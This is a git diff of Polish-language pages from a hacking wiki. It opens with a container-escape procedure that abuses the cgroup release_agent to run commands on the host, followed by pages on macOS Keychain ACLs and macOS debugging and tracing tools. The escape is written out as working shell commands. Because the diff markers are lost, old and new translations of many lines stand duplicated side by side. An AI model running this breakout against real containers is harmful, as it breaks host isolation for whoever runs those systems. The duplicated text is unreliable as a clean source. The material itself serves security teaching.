* Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA zaleca się użycie kontrolera cgroup `memory` jako alternatywy.
|
||||
1. **Przygotowanie Środowiska:**
|
||||
* Tworzony jest katalog `/tmp/cgrp`, który służy jako punkt montowania dla cgroup.
|
||||
* Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA, sugeruje się użycie kontrolera cgroup `memory` jako alternatywy.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Skonfiguruj podrzędny Cgroup:**
|
||||
* Wewnątrz zamontowanego katalogu cgroup tworzony jest podrzędny cgroup o nazwie "x".
|
||||
* Włączone są powiadomienia dla cgroup "x", poprzez zapisanie wartości 1 do pliku notify\_on\_release.
|
||||
2. **Ustawienie Cgroup Dziecka:**
|
||||
* Cgroup dziecka o nazwie "x" jest tworzona w zamontowanym katalogu cgroup.
|
||||
* Powiadomienia są włączone dla cgroup "x" poprzez zapisanie 1 do pliku notify\_on\_release.
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Skonfiguruj agenta wydania:**
|
||||
* Ścieżka kontenera na hoście jest pobierana z pliku /etc/mtab.
|
||||
* Następnie plik release\_agent cgroup jest skonfigurowany do wykonania skryptu o nazwie /cmd znajdującego się w uzyskanej ścieżce hosta.
|
||||
3. **Skonfiguruj agenta zwalniającego:**
|
||||
* Ścieżka kontenera na hoście jest uzyskiwana z pliku /etc/mtab.
|
||||
* Plik release\_agent cgroup jest następnie konfigurowany do wykonania skryptu o nazwie /cmd znajdującego się w uzyskanej ścieżce hosta.
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Utwórz i skonfiguruj skrypt /cmd:**
|
||||
* Skrypt /cmd jest tworzony wewnątrz kontenera i skonfigurowany do wykonania polecenia ps aux, przekierowując wynik do pliku o nazwie /output w kontenerze. Określona jest pełna ścieżka /output na hoście.
|
||||
* Skrypt /cmd jest tworzony wewnątrz kontenera i jest skonfigurowany do wykonywania ps aux, przekierowując wyjście do pliku o nazwie /output w kontenerze. Pełna ścieżka do /output na hoście jest określona.
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **Wywołaj atak:**
|
||||
* Proces zostaje uruchomiony w obrębie grupy potomnej "x" i natychmiast zostaje zakończony.
|
||||
* To powoduje uruchomienie `release_agent` (skryptu /cmd), który wykonuje polecenie ps aux na hoście i zapisuje wynik do /output wewnątrz kontenera.
|
||||
5. **Wyzwól Atak:**
|
||||
* Proces jest inicjowany w "x" dziecinnym cgroup i natychmiast kończony.
|
||||
* To wyzwala `release_agent` (skrypt /cmd), który wykonuje ps aux na hoście i zapisuje wynik do /output w kontenerze.
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci nie zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępniaj sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Główne Keychainy
|
||||
|
||||
* **Keychain Użytkownika** (`~/Library/Keychains/login.keycahin-db`), który służy do przechowywania **poświadczeń specyficznych dla użytkownika**, takich jak hasła aplikacji, hasła internetowe, certyfikaty generowane przez użytkownika, hasła sieciowe oraz klucze publiczne/prywatne generowane przez użytkownika.
|
||||
* **Keychain Użytkownika** (`~/Library/Keychains/login.keycahin-db`), który jest używany do przechowywania **poświadczeń specyficznych dla użytkownika**, takich jak hasła aplikacji, hasła internetowe, certyfikaty generowane przez użytkownika, hasła sieciowe oraz klucze publiczne/prywatne generowane przez użytkownika.
|
||||
* **Keychain Systemowy** (`/Library/Keychains/System.keychain`), który przechowuje **poświadczenia systemowe**, takie jak hasła WiFi, certyfikaty główne systemu, prywatne klucze systemowe oraz hasła aplikacji systemowych.
|
||||
|
||||
### Dostęp do Keychainu z Hasłem
|
||||
|
@ -40,23 +27,23 @@ Te pliki, mimo że nie mają wbudowanej ochrony i mogą być **pobrane**, są sz
|
|||
|
||||
## Ochrona Wpisów w Keychainie
|
||||
|
||||
### ACLs
|
||||
### ACL
|
||||
|
||||
Każdy wpis w keychainie jest regulowany przez **Listy Kontroli Dostępu (ACLs)**, które określają, kto może wykonywać różne działania na wpisie w keychainie, w tym:
|
||||
Każdy wpis w keychainie jest regulowany przez **Listy Kontroli Dostępu (ACL)**, które określają, kto może wykonywać różne działania na wpisie w keychainie, w tym:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: Pozwala posiadaczowi uzyskać czysty tekst sekretu.
|
||||
* **ACLAuhtorizationExportWrapped**: Pozwala posiadaczowi uzyskać czysty tekst zaszyfrowany innym podanym hasłem.
|
||||
* **ACLAuhtorizationAny**: Pozwala posiadaczowi na wykonanie dowolnej akcji.
|
||||
* **ACLAuhtorizationAny**: Pozwala posiadaczowi wykonać dowolne działanie.
|
||||
|
||||
ACLs są dodatkowo uzupełnione o **listę zaufanych aplikacji**, które mogą wykonywać te działania bez wywoływania komunikatu. Może to być:
|
||||
ACL są dodatkowo wspierane przez **listę zaufanych aplikacji**, które mogą wykonywać te działania bez wywoływania monitu. Może to być:
|
||||
|
||||
* **N`il`** (brak wymaganej autoryzacji, **wszyscy są zaufani**)
|
||||
* **Pusta** lista (**nikt** nie jest zaufany)
|
||||
* **Lista** konkretnych **aplikacji**.
|
||||
|
||||
Wpis może również zawierać klucz **`ACLAuthorizationPartitionID`,** który służy do identyfikacji **teamid, apple** i **cdhash.**
|
||||
Wpis może również zawierać klucz **`ACLAuthorizationPartitionID`,** który służy do identyfikacji **teamid, apple,** i **cdhash.**
|
||||
|
||||
* Jeśli **teamid** jest określony, to aby **uzyskać dostęp do wartości wpisu** **bez** komunikatu, używana aplikacja musi mieć **to samo teamid**.
|
||||
* Jeśli **teamid** jest określony, to aby **uzyskać dostęp do wartości wpisu** **bez** monitu, używana aplikacja musi mieć **to samo teamid**.
|
||||
* Jeśli **apple** jest określony, to aplikacja musi być **podpisana** przez **Apple**.
|
||||
* Jeśli **cdhash** jest wskazany, to **aplikacja** musi mieć konkretny **cdhash**.
|
||||
|
||||
|
@ -65,18 +52,18 @@ Wpis może również zawierać klucz **`ACLAuthorizationPartitionID`,** który s
|
|||
Gdy **nowy** **wpis** jest tworzony za pomocą **`Keychain Access.app`**, obowiązują następujące zasady:
|
||||
|
||||
* Wszystkie aplikacje mogą szyfrować.
|
||||
* **Żadne aplikacje** nie mogą eksportować/odszyfrowywać (bez wywoływania komunikatu do użytkownika).
|
||||
* **Żadne aplikacje** nie mogą eksportować/odszyfrowywać (bez wywoływania monitu użytkownika).
|
||||
* Wszystkie aplikacje mogą zobaczyć kontrolę integralności.
|
||||
* Żadne aplikacje nie mogą zmieniać ACLs.
|
||||
* **partitionID** jest ustawiony na **`apple`**.
|
||||
* Żadne aplikacje nie mogą zmieniać ACL.
|
||||
* **partitionID** jest ustawione na **`apple`**.
|
||||
|
||||
Gdy **aplikacja tworzy wpis w keychainie**, zasady są nieco inne:
|
||||
|
||||
* Wszystkie aplikacje mogą szyfrować.
|
||||
* Tylko **tworząca aplikacja** (lub inne aplikacje wyraźnie dodane) mogą eksportować/odszyfrowywać (bez wywoływania komunikatu do użytkownika).
|
||||
* Tylko **tworząca aplikacja** (lub inne aplikacje wyraźnie dodane) mogą eksportować/odszyfrowywać (bez wywoływania monitu użytkownika).
|
||||
* Wszystkie aplikacje mogą zobaczyć kontrolę integralności.
|
||||
* Żadne aplikacje nie mogą zmieniać ACLs.
|
||||
* **partitionID** jest ustawiony na **`teamid:[teamID tutaj]`**.
|
||||
* Żadne aplikacje nie mogą zmieniać ACL.
|
||||
* **partitionID** jest ustawione na **`teamid:[teamID here]`**.
|
||||
|
||||
## Uzyskiwanie Dostępu do Keychainu
|
||||
|
||||
|
@ -110,11 +97,11 @@ Lista i uzyskanie **informacji** o każdym wpisie w keychain:
|
|||
* **`kSecReturnRef`**: Uzyskaj również odniesienie do elementu keychain (ustaw na prawda, jeśli później zobaczysz, że możesz odszyfrować bez wyskakującego okienka)
|
||||
* **`kSecReturnAttributes`**: Uzyskaj metadane o wpisach
|
||||
* **`kSecMatchLimit`**: Ile wyników zwrócić
|
||||
* **`kSecClass`**: Jakiego rodzaju wpis w keychain
|
||||
* **`kSecClass`**: Jaki rodzaj wpisu w keychain
|
||||
|
||||
Uzyskaj **ACL** każdego wpisu:
|
||||
|
||||
* Za pomocą API **`SecAccessCopyACLList`** możesz uzyskać **ACL dla elementu keychain**, a zwróci to listę ACL (takich jak `ACLAuhtorizationExportClear` i inne wcześniej wspomniane), gdzie każda lista ma:
|
||||
* Za pomocą API **`SecAccessCopyACLList`** możesz uzyskać **ACL dla elementu keychain**, a zwróci listę ACL (takich jak `ACLAuhtorizationExportClear` i inne wcześniej wspomniane), gdzie każda lista ma:
|
||||
* Opis
|
||||
* **Lista Zaufanych Aplikacji**. To może być:
|
||||
* Aplikacja: /Applications/Slack.app
|
||||
|
@ -145,25 +132,14 @@ Jeśli **apple** jest wskazane w **partitionID**, możesz uzyskać do niego dost
|
|||
|
||||
### Dwa dodatkowe atrybuty
|
||||
|
||||
* **Niewidoczny**: To booleanowy znacznik do **ukrycia** wpisu w aplikacji **UI** Keychain
|
||||
* **Ogólny**: Służy do przechowywania **metadanych** (więc NIE JEST ZASZYFROWANY)
|
||||
* **Niewidoczny**: To booleanowy znacznik, aby **ukryć** wpis z aplikacji **UI** Keychain
|
||||
* **Ogólny**: To do przechowywania **metadanych** (więc NIE JEST ZASZYFROWANY)
|
||||
* Microsoft przechowywał w formie jawnej wszystkie tokeny odświeżania do uzyskania dostępu do wrażliwego punktu końcowego.
|
||||
|
||||
## Referencje
|
||||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -174,8 +150,8 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,25 +9,12 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt=
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Analiza statyczna
|
||||
|
||||
|
@ -114,7 +101,7 @@ ldid -S/tmp/entl.xml <binary>
|
|||
```
|
||||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) to narzędzie przydatne do inspekcji plików **.pkg** (instalatorów) i sprawdzenia, co się w nich znajduje przed ich zainstalowaniem.\
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) to narzędzie przydatne do inspekcji plików **.pkg** (instalatorów) i zobaczenia, co się w nich znajduje przed ich zainstalowaniem.\
|
||||
Te instalatory mają skrypty bash `preinstall` i `postinstall`, które autorzy złośliwego oprogramowania zazwyczaj nadużywają, aby **utrzymać** **złośliwe** **oprogramowanie**.
|
||||
|
||||
### hdiutil
|
||||
|
@ -136,7 +123,7 @@ It will be mounted in `/Volumes`
|
|||
### Metadata
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że programy napisane w Objective-C **zachowują** swoje deklaracje klas **gdy** **są kompilowane** do [binariów Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takie deklaracje klas **zawierają** nazwę i typ:
|
||||
Zauważ, że programy napisane w Objective-C **zachowują** swoje deklaracje klas **po** **skompilowaniu** do [binariów Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takie deklaracje klas **zawierają** nazwę i typ:
|
||||
{% endhint %}
|
||||
|
||||
* Zdefiniowane interfejsy
|
||||
|
@ -148,13 +135,13 @@ Zauważ, że te nazwy mogą być zafałszowane, aby utrudnić odwracanie binari
|
|||
|
||||
### Function calling
|
||||
|
||||
Gdy funkcja jest wywoływana w binarium, które używa Objective-C, skompilowany kod zamiast wywoływania tej funkcji, wywoła **`objc_msgSend`**. Które wywoła finalną funkcję:
|
||||
Gdy funkcja jest wywoływana w binarium, które używa Objective-C, skompilowany kod zamiast wywoływać tę funkcję, wywoła **`objc_msgSend`**. Który wywoła finalną funkcję:
|
||||
|
||||
![](<../../../.gitbook/assets/image (305).png>)
|
||||
|
||||
Parametry, których ta funkcja oczekuje, to:
|
||||
|
||||
* Pierwszy parametr (**self**) to "wskaźnik, który wskazuje na **instancję klasy, która ma otrzymać wiadomość**". Mówiąc prościej, to obiekt, na którym wywoływana jest metoda. Jeśli metoda jest metodą klasową, będzie to instancja obiektu klasy (jako całość), natomiast dla metody instancji, self będzie wskazywać na zainstancjonowaną instancję klasy jako obiekt.
|
||||
* Pierwszy parametr (**self**) to "wskaźnik, który wskazuje na **instancję klasy, która ma otrzymać wiadomość**". Mówiąc prościej, jest to obiekt, na którym wywoływana jest metoda. Jeśli metoda jest metodą klasy, będzie to instancja obiektu klasy (jako całość), natomiast dla metody instancji, self będzie wskazywać na zainstancjonowaną instancję klasy jako obiekt.
|
||||
* Drugi parametr (**op**) to "selekcja metody, która obsługuje wiadomość". Mówiąc prościej, to po prostu **nazwa metody.**
|
||||
* Pozostałe parametry to wszelkie **wartości wymagane przez metodę** (op).
|
||||
|
||||
|
@ -180,7 +167,7 @@ x64:
|
|||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) to narzędzie do zrzucania klas binariów Objective-C. Github określa dyliby, ale to również działa z plikami wykonywalnymi.
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) to narzędzie do zrzucania klas binariów Objective-C. Github określa dyliby, ale działa to również z plikami wykonywalnymi.
|
||||
```bash
|
||||
./dynadump dump /path/to/bin
|
||||
```
|
||||
|
@ -258,7 +245,7 @@ macOS udostępnia kilka interesujących API, które dostarczają informacji o pr
|
|||
|
||||
To narzędzie (`/usr/bini/ysdiagnose`) zasadniczo zbiera wiele informacji z twojego komputera, wykonując dziesiątki różnych poleceń, takich jak `ps`, `zprint`...
|
||||
|
||||
Musi być uruchamiane jako **root**, a demon `/usr/libexec/sysdiagnosed` ma bardzo interesujące uprawnienia, takie jak `com.apple.system-task-ports` i `get-task-allow`.
|
||||
Musi być uruchomione jako **root**, a demon `/usr/libexec/sysdiagnosed` ma bardzo interesujące uprawnienia, takie jak `com.apple.system-task-ports` i `get-task-allow`.
|
||||
|
||||
Jego plist znajduje się w `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`, który deklaruje 3 MachServices:
|
||||
|
||||
|
@ -298,7 +285,7 @@ W prawym panelu można zobaczyć interesujące informacje, takie jak **historia
|
|||
|
||||
Umożliwia użytkownikom dostęp do aplikacji na niezwykle **niskim poziomie** i zapewnia sposób dla użytkowników na **śledzenie** **programów** i nawet zmianę ich przepływu wykonania. Dtrace używa **probes**, które są **umieszczane w całym jądrze** i znajdują się w miejscach takich jak początek i koniec wywołań systemowych.
|
||||
|
||||
DTrace używa funkcji **`dtrace_probe_create`**, aby utworzyć sondę dla każdego wywołania systemowego. Te sondy mogą być uruchamiane w **punkcie wejścia i wyjścia każdego wywołania systemowego**. Interakcja z DTrace odbywa się przez /dev/dtrace, które jest dostępne tylko dla użytkownika root.
|
||||
DTrace używa funkcji **`dtrace_probe_create`**, aby utworzyć sondę dla każdego wywołania systemowego. Te sondy mogą być uruchamiane w **punkcie wejścia i wyjścia każdego wywołania systemowego**. Interakcja z DTrace odbywa się przez /dev/dtrace, który jest dostępny tylko dla użytkownika root.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aby włączyć Dtrace bez całkowitego wyłączania ochrony SIP, możesz wykonać w trybie odzyskiwania: `csrutil enable --without dtrace`
|
||||
|
@ -380,7 +367,7 @@ To jest funkcja śledzenia jądra. Udokumentowane kody można znaleźć w **`/us
|
|||
|
||||
Narzędzia takie jak `latency`, `sc_usage`, `fs_usage` i `trace` używają go wewnętrznie.
|
||||
|
||||
Aby interfejsować z `kdebug`, używa się `sysctl` w przestrzeni nazw `kern.kdebug`, a MIB-y do użycia można znaleźć w `sys/sysctl.h`, mając funkcje zaimplementowane w `bsd/kern/kdebug.c`.
|
||||
Aby zintegrować się z `kdebug`, używa się `sysctl` w przestrzeni nazw `kern.kdebug`, a MIB-y do użycia można znaleźć w `sys/sysctl.h`, mając funkcje zaimplementowane w `bsd/kern/kdebug.c`.
|
||||
|
||||
Aby interagować z kdebug za pomocą niestandardowego klienta, zazwyczaj wykonuje się następujące kroki:
|
||||
|
||||
|
@ -412,7 +399,7 @@ Or `tailspin`.
|
|||
|
||||
To narzędzie służy do profilowania na poziomie jądra i jest zbudowane przy użyciu wywołań `Kdebug`.
|
||||
|
||||
W zasadzie, globalna zmienna `kernel_debug_active` jest sprawdzana, a jeśli jest ustawiona, wywołuje `kperf_kdebug_handler` z kodem `Kdebug` i adresem ramki jądra. Jeśli kod `Kdebug` pasuje do jednego z wybranych, otrzymuje "akcje" skonfigurowane jako bitmapa (sprawdź `osfmk/kperf/action.h` dla opcji).
|
||||
W zasadzie, globalna zmienna `kernel_debug_active` jest sprawdzana, a jeśli jest ustawiona, wywołuje `kperf_kdebug_handler` z kodem `Kdebug` i adresem ramki jądra, która wywołuje. Jeśli kod `Kdebug` pasuje do jednego z wybranych, otrzymuje "akcje" skonfigurowane jako bitmapa (sprawdź `osfmk/kperf/action.h` dla opcji).
|
||||
|
||||
Kperf ma również tabelę MIB sysctl: (jako root) `sysctl kperf`. Te kody można znaleźć w `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
|
@ -425,7 +412,7 @@ Ponadto, podzbiór funkcjonalności Kperf znajduje się w `kpc`, który dostarcz
|
|||
### SpriteTree
|
||||
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) to narzędzie do wyświetlania relacji między procesami.\
|
||||
Musisz monitorować swojego maca za pomocą polecenia **`sudo eslogger fork exec rename create > cap.json`** (terminal uruchamiający to wymaga FDA). Następnie możesz załadować json w tym narzędziu, aby zobaczyć wszystkie relacje:
|
||||
Musisz monitorować swojego maca za pomocą polecenia **`sudo eslogger fork exec rename create > cap.json`** (terminal uruchamiający to wymaga FDA). A następnie możesz załadować json w tym narzędziu, aby zobaczyć wszystkie relacje:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -435,7 +422,7 @@ Musisz monitorować swojego maca za pomocą polecenia **`sudo eslogger fork exec
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) to narzędzie GUI, które wygląda i działa jak znane użytkownikom Windows narzędzie Microsoft Sysinternal’s _Procmon_. To narzędzie pozwala na rozpoczęcie i zatrzymanie nagrywania różnych typów zdarzeń, umożliwia filtrowanie tych zdarzeń według kategorii, takich jak plik, proces, sieć itp., oraz zapewnia funkcjonalność zapisywania zarejestrowanych zdarzeń w formacie json.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) to narzędzie GUI, które wygląda i działa jak znane użytkownikom Windows narzędzie Microsoft Sysinternal’s _Procmon_. To narzędzie pozwala na rozpoczęcie i zatrzymanie nagrywania różnych typów zdarzeń, umożliwia filtrowanie tych zdarzeń według kategorii, takich jak plik, proces, sieć itp., oraz zapewnia funkcjonalność zapisywania nagranych zdarzeń w formacie json.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
|
@ -476,10 +463,10 @@ settings set target.x86-disassembly-flavor intel
|
|||
Wewnątrz lldb, zrzutuj proces za pomocą `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komenda</strong></td><td><strong>Opis</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Rozpoczęcie wykonania, które będzie kontynuowane, aż do osiągnięcia punktu przerwania lub zakończenia procesu.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Rozpocznij wykonanie zatrzymując się w punkcie wejścia</td></tr><tr><td><strong>continue (c)</strong></td><td>Kontynuuj wykonanie debugowanego procesu.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Wykonaj następną instrukcję. Ta komenda pominie wywołania funkcji.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Wykonaj następną instrukcję. W przeciwieństwie do komendy nexti, ta komenda wejdzie w wywołania funkcji.</td></tr><tr><td><strong>finish (f)</strong></td><td>Wykonaj pozostałe instrukcje w bieżącej funkcji (“ramce”), zwróć i zatrzymaj.</td></tr><tr><td><strong>control + c</strong></td><td>Wstrzymaj wykonanie. Jeśli proces był uruchomiony (r) lub kontynuowany (c), spowoduje to zatrzymanie procesu ...gdziekolwiek aktualnie się wykonuje.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Każda funkcja o nazwie main</p><p><code>b <binname>`main</code> #Funkcja main bin</p><p><code>b set -n main --shlib <lib_name></code> #Funkcja main wskazanej bin</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Każda metoda NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Zatrzymaj w wszystkich funkcjach tej biblioteki</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista punktów przerwania</p><p><code>br e/dis <num></code> #Włącz/Wyłącz punkt przerwania</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Uzyskaj pomoc dla komendy breakpoint</p><p>help memory write #Uzyskaj pomoc w zapisywaniu do pamięci</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 